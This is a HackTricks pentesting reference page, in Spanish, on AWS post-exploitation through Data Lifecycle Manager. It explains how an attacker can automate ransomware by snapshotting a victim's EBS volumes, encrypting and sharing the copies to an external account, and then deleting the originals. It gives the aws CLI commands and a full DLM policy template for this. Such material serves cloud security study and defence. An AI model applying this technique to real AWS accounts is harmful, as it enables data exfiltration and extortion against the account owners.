AWS - DLM Post Exploitation

Support HackTricks

Administrador del Ciclo de Vida de Datos (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Un ataque de ransomware puede ejecutarse cifrando tantos volúmenes EBS como sea posible y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, cifrando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas cifradas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin cifrado a una cuenta que gestionan y luego cifrarlas allí. Aunque no es sencillo cifrar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea.

Primero, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de cifrado, el estado de adjunto y el tipo de volumen.

aws ec2 describe-volumes

En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles específicos de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para cifrado y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Un template para el documento de política se puede ver aquí:

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
Apoya a HackTricks

Last updated